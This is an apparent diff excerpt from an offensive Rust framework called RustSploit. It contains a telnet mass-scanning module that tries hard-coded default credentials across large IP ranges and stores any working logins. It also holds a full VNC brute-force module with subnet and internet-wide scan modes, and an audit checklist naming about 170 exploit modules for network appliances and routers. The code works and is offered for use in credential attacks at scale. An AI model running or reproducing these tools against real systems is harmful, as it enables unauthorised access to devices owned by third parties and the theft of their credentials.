use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::time::timeout;
use crate::utils::{run_mass_scan, MassScanConfig};
use crate::utils::{cfg_prompt_output_file, cfg_prompt_yes_no};
use colored::*;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Telnet Hose (Mass Default Credential Check)".to_string(),
description: "Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// Top 3 Telnet Ports
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
// Default Credentials (user, pass) tuples
const TOP_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("root", "admin"),
("root", "user"),
("root", "1234"),
("root", "123456"),
("root", "password"),
("root", "password123"),
("root", "default"),
("root", "support"),
("root", "guest"),
("root", ""),
("admin", "root"),
("admin", "admin"),
("admin", "user"),
("admin", "1234"),
("admin", "123456"),
("admin", "password"),
("admin", "password123"),
("admin", "default"),
("admin", "support"),
("admin", "guest"),
("admin", ""),
("user", "root"),
("user", "admin"),
("user", "user"),
("user", "1234"),
("user", "123456"),
("user", "password"),
("user", "password123"),
("user", "default"),
("user", "support"),
("user", "guest"),
("user", ""),
("support", "root"),
("support", "admin"),
("support", "user"),
("support", "1234"),
("support", "123456"),
("support", "password"),
("support", "password123"),
("support", "default"),
("support", "support"),
("support", "guest"),
("support", ""),
("guest", "root"),
("guest", "admin"),
("guest", "user"),
("guest", "1234"),
("guest", "123456"),
("guest", "password"),
("guest", "password123"),
("guest", "default"),
("guest", "support"),
("guest", "guest"),
("guest", ""),
("1234", "1234"),
];
// Keywords to match in help output (must match at least 2)
const HELP_KEYWORDS: &[&str] = &[
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command",
"menu", "admin",
];
// Internal Logic Constants
const CONNECT_TIMEOUT_MS: u64 = 2000;
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
#[derive(Debug, PartialEq, Clone, Copy)]
enum TelnetState {
WaitingForBanner,
SendingUsername,
WaitingForPasswordPrompt,
SendingPassword,
WaitingForResult,
SendingHelp,
WaitingForHelpResponse,
}
pub async fn run(target: &str) -> Result<()> {
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results?", false).await?;
let results_file = if save_results {
Some(
cfg_prompt_output_file(
"results_file",
"Results output file",
"telnet_sweep_creds.txt",
)
.await?,
)
} else {
None
};
let results_file_clone = results_file.clone();
let verbose_flag = verbose;
// Use the shared mass scan engine with telnet probe
run_mass_scan(
target,
MassScanConfig {
protocol_name: "Telnet-Hose",
default_port: 23,
state_file: "telnet_sweep_state.log",
default_output: "telnet_sweep_results.txt",
default_concurrency: 500,
},
move |ip, port| {
let rf = results_file_clone.clone();
async move {
// Also try alternate telnet ports beyond the configured one
let ports_to_try: Vec<u16> = if TELNET_PORTS.contains(&port) {
TELNET_PORTS.to_vec()
} else {
let mut v = vec![port];
v.extend_from_slice(TELNET_PORTS);
v.sort_unstable();
v.dedup();
v
};
for &p in &ports_to_try {
let socket = SocketAddr::new(ip, p);
// Quick connect check
if verbose_flag {
crate::mprintln!(
"{}",
format!("[VERBOSE] Checking {}:{} connectivity...", ip, p).dimmed()
);
}
if !crate::utils::tcp_port_open(ip, p, std::time::Duration::from_secs(2)).await
{
if verbose_flag {
crate::mprintln!(
"{}",
format!("[VERBOSE] {}:{} - port closed/filtered", ip, p).dimmed()
);
}
continue;
}
if verbose_flag {
crate::mprintln!(
"{}",
format!("[VERBOSE] {}:{} - port open, trying credentials...", ip, p)
.dimmed()
);
}
// Try each credential pair
for (user, pass) in TOP_CREDENTIALS.iter() {
if verbose_flag {
crate::mprintln!(
"{}",
format!("[VERBOSE] {}:{} trying {}:{}", ip, p, user, pass).dimmed()
);
}
if let Ok(true) = try_telnet_login_hose(&socket, user, pass).await {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let line = format!("[{}] {}:{}:{}:{}\n", ts, ip, p, user, pass);
// Store credential in framework credential store
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
p,
"telnet",
user,
pass,
crate::cred_store::CredType::Password,
"creds/generic/telnet_sweep",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
// Save to dedicated results file if requested
if let Some(ref path) = rf {
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.create(true).append(true);
opts.mode(0o600);
if let Ok(mut f) = opts.open(path) {
if let Err(e) = std::io::Write::write_all(&mut f, line.as_bytes()) { crate::meprintln!("[!] Results file write error: {}", e); }
}
}
return Some(line);
}
}
}
None
}
},
)
.await
}
// Simplified & Optimized Telnet Login for Hose
// Wrapper for retry logic
async fn try_telnet_login_hose(
socket: &SocketAddr,
username: &str,
password: &str,
) -> Result<bool> {
// Attempt 1: Standard (try to detect, fallback to User+Pass)
let (success, banner_seen) = do_telnet_session(socket, username, password, false).await?;
if success {
return Ok(true);
}
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
if !banner_seen {
// Attempt 2: Blind Password Only
let (success_retry, _) = do_telnet_session(socket, username, password, true).await?;
if success_retry {
return Ok(true);
}
}
Ok(false)
}
// Inner session logic
async fn do_telnet_session(
socket: &SocketAddr,
username: &str,
password: &str,
force_password_only: bool,
) -> Result<(bool, bool)> {
// returns (success, banner_detected)
let stream = match crate::utils::network::tcp_connect_addr(*socket, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
_ => return Ok((false, false)), // Connect fail
};
let (reader, mut writer) = tokio::io::split(stream);
let mut reader = BufReader::new(reader);
let mut buf = [0u8; 1024];
// State Machine
let mut state = TelnetState::WaitingForBanner;
let start = Instant::now();
let max_duration = Duration::from_millis(LOGIN_TIMEOUT_MS);
let mut banner_detected = false;
while start.elapsed() < max_duration {
// Simple Read with Timeout
let read_future = reader.read(&mut buf);
let n = match timeout(Duration::from_millis(1500), read_future).await {
Ok(Ok(0)) => return Ok((false, banner_detected)), // EOF
Ok(Ok(n)) => n,
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
Err(_) => {
// Read Timeout logic
// If waiting for banner and timed out -> No Banner Detected
if state == TelnetState::WaitingForBanner {
// Decide action based on mode
if force_password_only {
state = TelnetState::SendingPassword;
} else {
state = TelnetState::SendingUsername;
}
continue;
}
if state == TelnetState::WaitingForResult
|| state == TelnetState::WaitingForHelpResponse
{
// Timeout waiting for result/help usually means fail or stuck
return Ok((false, banner_detected));
}
continue;
}
};
// IAC Stripping (Minimal)
let s = String::from_utf8_lossy(&buf[..n]);
let lower = s.to_lowercase();
// Handle current state
match state {
TelnetState::WaitingForBanner => {
if lower.contains("pass") || lower.contains("word") {
banner_detected = true;
state = TelnetState::SendingPassword;
} else if lower.contains("login")
|| lower.contains("user")
|| lower.contains("name")
{
banner_detected = true;
state = TelnetState::SendingUsername;
}
}
TelnetState::SendingUsername => {
// Should not happen here if we just transitioned,
// but if we are reading response after sending user:
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForPasswordPrompt => {
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForResult => {
if lower.contains("incorrect")
|| lower.contains("fail")
|| lower.contains("denied")
|| lower.contains("error")
{
return Ok((false, banner_detected));
}
if lower.contains("#")
|| lower.contains("$")
|| (lower.contains(">") && !lower.contains(">>"))
|| lower.contains("welcome")
{
state = TelnetState::SendingHelp;
}
}
TelnetState::WaitingForHelpResponse => {
let mut match_count = 0;
for kw in HELP_KEYWORDS {
if lower.contains(kw) {
match_count += 1;
}
}
if match_count >= 2 {
return Ok((true, banner_detected));
}
}
_ => {}
}
// Perform Writes if needed
match state {
TelnetState::SendingUsername => {
if let Err(e) = writer
.write_all(format!("{}\r\n", username).as_bytes())
.await { crate::meprintln!("[!] Write error: {}", e); }
// Add requested 2s delay
tokio::time::sleep(Duration::from_secs(2)).await;
state = TelnetState::WaitingForPasswordPrompt;
}
TelnetState::SendingPassword => {
if let Err(e) = writer
.write_all(format!("{}\r\n", password).as_bytes())
.await { crate::meprintln!("[!] Write error: {}", e); }
state = TelnetState::WaitingForResult;
}
TelnetState::SendingHelp => {
if let Err(e) = writer.write_all(b"help\r\n").await { crate::meprintln!("[!] Write error: {}", e); }
state = TelnetState::WaitingForHelpResponse;
}
_ => {}
}
}
Ok((false, banner_detected))
}
+774
View File
@@ -0,0 +1,774 @@
//! VNC Brute Force Module
//!
//! Raw TCP implementation of VNC (RFB) DES challenge-response authentication.
//! Supports RFB protocol versions 3.3, 3.7, and 3.8.
//!
//! Protocol flow:
//! 1. Read server version: "RFB 003.00x\n"
//! 2. Send client version: "RFB 003.008\n"
//! 3. Read security types, select VNC Authentication (type 2)
//! 4. Read 16-byte challenge
//! 5. Encrypt challenge with DES using password (bit-reversed, padded to 8 bytes)
//! 6. Send 16-byte encrypted response
//! 7. Read 4-byte security result: 0x00000000 = success
use anyhow::{anyhow, Result};
use colored::*;
use des::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use des::Des;
use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use crate::utils::{
generate_combos_mode, ComboMode,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_VNC_PORT: u16 = 5900;
const CONNECT_TIMEOUT_MS: u64 = 5000;
const READ_TIMEOUT_MS: u64 = 5000;
/// VNC is password-only (no username). These are common default passwords.
const DEFAULT_PASSWORDS: &[&str] = &[
"",
"password",
"1234",
"admin",
"vnc",
"pass",
"12345",
"123456",
"vncpass",
"root",
"test",
"default",
];
// RFB protocol constants
const RFB_VERSION_38: &[u8] = b"RFB 003.008\n";
const RFB_VERSION_37: &[u8] = b"RFB 003.007\n";
const VNC_AUTH_TYPE: u8 = 2;
const VNC_AUTH_NONE: u8 = 1;
const CHALLENGE_LEN: usize = 16;
// ============================================================================
// Module Info
// ============================================================================
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "VNC Brute Force".to_string(),
description: "Brute-force VNC authentication using DES challenge-response over raw TCP. \
Implements the RFB protocol handshake with proper bit-reversed DES key derivation. \
VNC uses password-only auth (max 8 chars). Supports default password testing, \
wordlist mode, subnet scanning, and mass scan."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.rfc-editor.org/rfc/rfc6143".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("{}", "=== VNC Brute Force Module ===".bold());
crate::mprintln!("[*] Target: {}", target);
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "VNC",
default_port: DEFAULT_VNC_PORT,
state_file: "vnc_brute_hose_state.log",
default_output: "vnc_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
return None;
}
let addr = format!("{}:{}", ip, port);
let passwords = ["", "password", "1234", "admin", "vnc", "pass"];
for pass in passwords {
match try_vnc_auth(&addr, pass).await {
VncResult::Success => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let display_pass = if pass.is_empty() { "(empty)" } else { pass };
return Some(format!(
"[{}] {}:{}:(vnc):{}\n",
ts, ip, port, display_pass
));
}
VncResult::NoAuth => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!(
"[{}] {}:{}:(vnc):(no-auth-required)\n",
ts, ip, port
));
}
VncResult::ConnectionError(_) => return None,
VncResult::AuthFailed | VncResult::ProtocolError(_) => {}
}
}
None
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} (Subnet Scan)", target).cyan()
);
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
return Err(anyhow!("Password list empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"vnc_subnet_results.txt",
)
.await?;
// VNC is password-only: use a single dummy username and the password list
let users = vec!["vnc".to_string()];
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "vnc",
jitter_ms: 50,
source_module: "creds/generic/vnc_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, _user: String, pass: String| async move {
let addr = format!("{}:{}", ip, port);
match try_vnc_auth(&addr, &pass).await {
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
VncResult::AuthFailed => LoginResult::AuthFailed,
VncResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
VncResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default passwords first?", true).await?;
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && passwords_file.is_none() {
return Err(anyhow!(
"At least a password wordlist or default passwords must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "5").await?;
input.parse::<usize>().unwrap_or(5).max(1).min(50)
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file", "vnc_brute_results.txt").await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
// Load passwords
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default passwords if requested
if use_defaults {
for pass in DEFAULT_PASSWORDS {
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green()
);
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// VNC is password-only: use a single dummy username for the combos framework
let usernames = vec!["vnc".to_string()];
let combos = generate_combos_mode(&usernames, &passwords, ComboMode::Linear);
crate::mprintln!(
"\n{}",
format!(
"[*] Starting VNC brute-force on {}:{} ({} passwords, {} threads)",
target,
port,
passwords.len(),
concurrency
)
.cyan()
);
crate::mprintln!(
"{}",
"[*] Note: VNC uses password-only auth (max 8 chars)".blue()
);
let try_login = move |t: String, p: u16, _user: String, pass: String| async move {
let addr = normalize_target(&format!("{}:{}", t, p))
.unwrap_or_else(|_| format!("{}:{}", t, p));
match try_vnc_auth(&addr, &pass).await {
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
VncResult::AuthFailed => LoginResult::AuthFailed,
VncResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
VncResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: false,
},
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 100, // VNC servers often rate-limit; small delay helps
max_retries,
service_name: "vnc",
jitter_ms: 50,
source_module: "creds/generic/vnc_credcheck",
},
combos,
try_login,
)
.await?;
// Print results with VNC-specific formatting (password-only, no username)
if result.found.is_empty() {
crate::mprintln!("{}", "[-] No valid passwords found.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[+] Found {} valid password(s):", result.found.len())
.green()
.bold()
);
for (host, _user, pass) in &result.found {
let display_pass = if pass.is_empty() {
"(empty)".to_string()
} else {
pass.clone()
};
crate::mprintln!(" {} {} password: {}", ">>".green(), host, display_pass);
}
}
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored VNC responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "vnc_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# VNC Bruteforce Unknown/Errored Responses (host,pass,error)"
)?;
for (host, _user, pass, msg) in &result.errors {
writeln!(file, "{} -> {} - {}", host, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// VNC (RFB) Protocol Implementation
// ============================================================================
#[derive(Debug)]
enum VncResult {
/// Authentication succeeded (correct password).
Success,
/// Server requires no authentication.
NoAuth,
/// Authentication was rejected (wrong password).
AuthFailed,
/// TCP/IO error.
ConnectionError(String),
/// Protocol-level error (unsupported version, etc.).
ProtocolError(String),
}
/// Reverse the bits in a byte (VNC DES key derivation requirement).
///
/// VNC reverses each byte of the password before using it as a DES key.
fn reverse_bits(b: u8) -> u8 {
let mut result = 0u8;
let mut input = b;
for _ in 0..8 {
result = (result << 1) | (input & 1);
input >>= 1;
}
result
}
/// Derive the VNC DES key from a password.
///
/// Password is truncated to 8 bytes (or zero-padded if shorter),
/// then each byte is bit-reversed.
fn vnc_des_key(password: &str) -> [u8; 8] {
let mut key = [0u8; 8];
let pass_bytes = password.as_bytes();
let copy_len = pass_bytes.len().min(8);
key[..copy_len].copy_from_slice(&pass_bytes[..copy_len]);
// Bit-reverse each byte
for byte in &mut key {
*byte = reverse_bits(*byte);
}
key
}
/// Encrypt a 16-byte VNC challenge using DES ECB with the derived key.
///
/// The challenge is encrypted as two 8-byte blocks independently (ECB mode).
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> [u8; 16] {
let des_key = GenericArray::from_slice(key);
let cipher = Des::new(des_key);
let mut result = [0u8; 16];
// Encrypt first 8-byte block
let mut block1 = GenericArray::clone_from_slice(&challenge[0..8]);
cipher.encrypt_block(&mut block1);
result[0..8].copy_from_slice(&block1);
// Encrypt second 8-byte block
let mut block2 = GenericArray::clone_from_slice(&challenge[8..16]);
cipher.encrypt_block(&mut block2);
result[8..16].copy_from_slice(&block2);
result
}
/// Parse the RFB server version string and return (major, minor).
fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
// Expected format: "RFB XXX.YYY\n" (12 bytes)
if version_str.len() < 12 {
return Err(anyhow!("Version string too short"));
}
if &version_str[0..4] != b"RFB " {
return Err(anyhow!("Not an RFB server"));
}
let major_str = String::from_utf8_lossy(&version_str[4..7]);
let minor_str = String::from_utf8_lossy(&version_str[8..11]);
let major: u16 = major_str
.trim()
.parse()
.map_err(|_| anyhow!("Invalid major version: {}", major_str))?;
let minor: u16 = minor_str
.trim()
.parse()
.map_err(|_| anyhow!("Invalid minor version: {}", minor_str))?;
Ok((major, minor))
}
/// Attempt VNC authentication against a target address.
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
// TCP connect with timeout
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Step 1: Read server version string (12 bytes)
let mut server_version = [0u8; 12];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut server_version),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!("Failed to read server version: {}", e))
}
Err(_) => return VncResult::ConnectionError("Timeout reading server version".to_string()),
}
let (_major, minor) = match parse_rfb_version(&server_version) {
Ok(v) => v,
Err(e) => return VncResult::ProtocolError(format!("Version parse error: {}", e)),
};
// Step 2: Send client version (use 3.8 for best compatibility, fall back to 3.7)
let client_version = if minor >= 8 { RFB_VERSION_38 } else { RFB_VERSION_37 };
if let Err(e) = stream.write_all(client_version).await {
return VncResult::ConnectionError(format!("Failed to send client version: {}", e));
}
if let Err(e) = stream.flush().await {
return VncResult::ConnectionError(format!("Flush error: {}", e));
}
// Step 3: Read security types
if minor >= 7 {
// RFB 3.7+: read number of security types, then the type bytes
let mut num_types_buf = [0u8; 1];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut num_types_buf),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!(
"Failed to read security type count: {}",
e
))
}
Err(_) => {
return VncResult::ConnectionError(
"Timeout reading security type count".to_string(),
)
}
}
let num_types = num_types_buf[0] as usize;
if num_types == 0 {
// Server is refusing the connection -- read reason string
let mut len_buf = [0u8; 4];
if let Ok(Ok(_)) = tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut len_buf),
)
.await
{
let reason_len = u32::from_be_bytes(len_buf) as usize;
if reason_len > 0 && reason_len < 4096 {
let mut reason = vec![0u8; reason_len];
if let Ok(Ok(_)) = tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut reason),
)
.await
{
let reason_str = String::from_utf8_lossy(&reason);
if reason_str.to_lowercase().contains("too many") {
return VncResult::ConnectionError(format!(
"Rate limited: {}",
reason_str
));
}
return VncResult::ProtocolError(format!(
"Connection refused: {}",
reason_str
));
}
}
}
return VncResult::ProtocolError("Connection refused (0 security types)".to_string());
}
let mut types = vec![0u8; num_types];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut types),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!(
"Failed to read security types: {}",
e
))
}
Err(_) => {
return VncResult::ConnectionError("Timeout reading security types".to_string())
}
}
// Check for None auth (type 1) -- no password needed
if types.contains(&VNC_AUTH_NONE) && !types.contains(&VNC_AUTH_TYPE) {
// Select None auth
if let Err(e) = stream.write_all(&[VNC_AUTH_NONE]).await {
return VncResult::ConnectionError(format!("Failed to select None auth: {}", e));
}
return VncResult::NoAuth;
}
if !types.contains(&VNC_AUTH_TYPE) {
return VncResult::ProtocolError(format!(
"VNC Authentication (type 2) not supported. Available: {:?}",
types
));
}
// Select VNC Authentication (type 2)
if let Err(e) = stream.write_all(&[VNC_AUTH_TYPE]).await {
return VncResult::ConnectionError(format!(
"Failed to select VNC auth type: {}",
e
));
}
if let Err(e) = stream.flush().await {
return VncResult::ConnectionError(format!("Flush error: {}", e));
}
} else {
// RFB 3.3: server picks the security type (4 bytes, big-endian)
let mut type_buf = [0u8; 4];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut type_buf),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!("Failed to read security type: {}", e))
}
Err(_) => {
return VncResult::ConnectionError("Timeout reading security type".to_string())
}
}
let sec_type = u32::from_be_bytes(type_buf);
match sec_type {
0 => {
return VncResult::ProtocolError(
"Server refused connection (security type 0)".to_string(),
)
}
1 => return VncResult::NoAuth,
2 => {} // VNC Authentication -- proceed
_ => {
return VncResult::ProtocolError(format!(
"Unsupported security type: {}",
sec_type
))
}
}
}
// Step 4: Read 16-byte challenge
let mut challenge = [0u8; CHALLENGE_LEN];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut challenge),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!("Failed to read challenge: {}", e))
}
Err(_) => return VncResult::ConnectionError("Timeout reading challenge".to_string()),
}
// Step 5: Encrypt challenge with DES using bit-reversed password key
let key = vnc_des_key(password);
let response = vnc_des_encrypt(&key, &challenge);
// Step 6: Send encrypted response
if let Err(e) = stream.write_all(&response).await {
return VncResult::ConnectionError(format!("Failed to send auth response: {}", e));
}
if let Err(e) = stream.flush().await {
return VncResult::ConnectionError(format!("Flush error: {}", e));
}
// Step 7: Read security result (4 bytes)
let mut result_buf = [0u8; 4];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut result_buf),
)
.await
{
Ok(Ok(_)) => {}
Ok(Err(e)) => {
return VncResult::ConnectionError(format!("Failed to read auth result: {}", e))
}
Err(_) => return VncResult::ConnectionError("Timeout reading auth result".to_string()),
}
let security_result = u32::from_be_bytes(result_buf);
match security_result {
0 => VncResult::Success,
1 => {
// Failed -- in RFB 3.8, a reason string follows
if minor >= 8 {
let mut len_buf = [0u8; 4];
if let Ok(Ok(_)) = tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut len_buf),
)
.await
{
let reason_len = u32::from_be_bytes(len_buf) as usize;
if reason_len > 0 && reason_len < 4096 {
let mut reason = vec![0u8; reason_len];
match tokio::time::timeout(
Duration::from_millis(READ_TIMEOUT_MS),
stream.read_exact(&mut reason),
)
.await {
Err(_) => crate::meprintln!("[!] VNC reason read timed out"),
Ok(Err(e)) => crate::meprintln!("[!] VNC reason read error: {}", e),
Ok(Ok(_)) => {}
}
}
}
}
VncResult::AuthFailed
}
2 => VncResult::ProtocolError("Too many authentication failures".to_string()),
other => VncResult::ProtocolError(format!("Unknown security result: {}", other)),
}
}
+2 -1
View File
@@ -1,2 +1,3 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod camxploit;
pub mod generic; // <-- lowercase folder name
File diff suppressed because it is too large Load Diff
+140
View File
@@ -0,0 +1,140 @@
# Exploit Module Audit Tracker
Rolling per-module checklist. Update as each module is reviewed. Keep short — one row per module.
## Per-module checklist
Each module should pass all 9 (check() is centralized in `scanners/vuln_checker.rs` — not per-module):
1. `run()` bails early (≤2 s) when target doesn't speak the expected protocol
2. No `.unwrap()` / `.expect()` on network-derived values
3. All user knobs exposed via `cfg_prompt_*` (no hardcoded consts)
4. Uses `crate::utils::tcp_connect_str` or `tcp_connect_addr` instead of raw `TcpStream::connect`
5. Uses `crate::utils::build_http_client` / `build_http_client_with` (not raw `reqwest::Client::builder`)
6. `references:` populated with real URLs
7. Doc block at top of file with CVE / vendor / affected versions
8. `ModuleRank` honest — observed reliability
9. Loot / host / service registered in workspace on success
## Status legend
- `✅ audited` — all 10 pass
- `🔶 partial` — listed sub-items still outstanding
- `❌ broken` — known runtime failure; fix required
- `⏳ pending` — not yet reviewed
## Progress (updated per session)
| Category | Audited | Total |
|---|---|---|
| network_infra | 0 | 30 |
| webapps | 0 | 25 |
| frameworks | 0 | 15 |
| ssh | 0 | 15 |
| routers | 0 | 25 |
| vnc / telnet / voip / cameras | 0 | 21 |
| dos | 0 | 12 |
| honeytrap / snare / cowrie / dionaea / safeline | 0 | 15 |
| crypto / ftp / ipmi / windows / bluetooth / payloadgens | 0 | 12 |
| **Total** | **0** | **170** (excludes sample_exploit and 10 duplicates) |
## Session order (E1 → E10)
1. **E1** — network_infra CVEs (fortinet, ivanti, citrix, palo_alto, sonicwall, f5, hpe, kubernetes, commvault, vmware, trend_micro)
2. **E2** — webapps RCE (craftcms, flowise, n8n, xwiki, roundcube, sharepoint, wordpress, sap, misp, mcpjam, dify, langflow, solarwinds, zabbix, zimbra, spotube, termix, react, vite, laravel, nextjs)
3. **E3** — frameworks (apache_tomcat, apache_camel, jenkins, nginx, php, wsus, http2, exim, mongo)
4. **E4** — ssh family (libssh_auth_bypass, asyncssh, paramiko ×2, erlang_otp, sshpwn ×5, libssh2_rogue_server, openssh_regresshion, opensshserver_9_8p1race)
5. **E5** — router CVEs (tplink ×13, ruijie ×7, netgear, dlink, zte, zyxel, tenda, ubiquiti)
6. **E6** — vnc ×13 + telnet ×1 + voip ×1 + cameras ×6
